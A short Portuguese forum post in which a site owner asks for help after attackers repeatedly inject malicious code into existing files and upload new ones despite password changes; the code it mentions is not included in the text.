Basicamente não consigo descobrir qual a brecha que eles estão usando. Eles conseguem alterar o código dos arquivos existentes, adicionando uma parte maliciosa além dar upload de novos arquivos.
Já troquei senhas de FTP, SHELL e etc.
Como solução paliativa eu fico trocando os arquivos infectados pelos de backup e apagando os arquivos adicionais que aparecem no FTP.
Alguém poderia me ajudar?
em cada arquivo adicionaram esse código
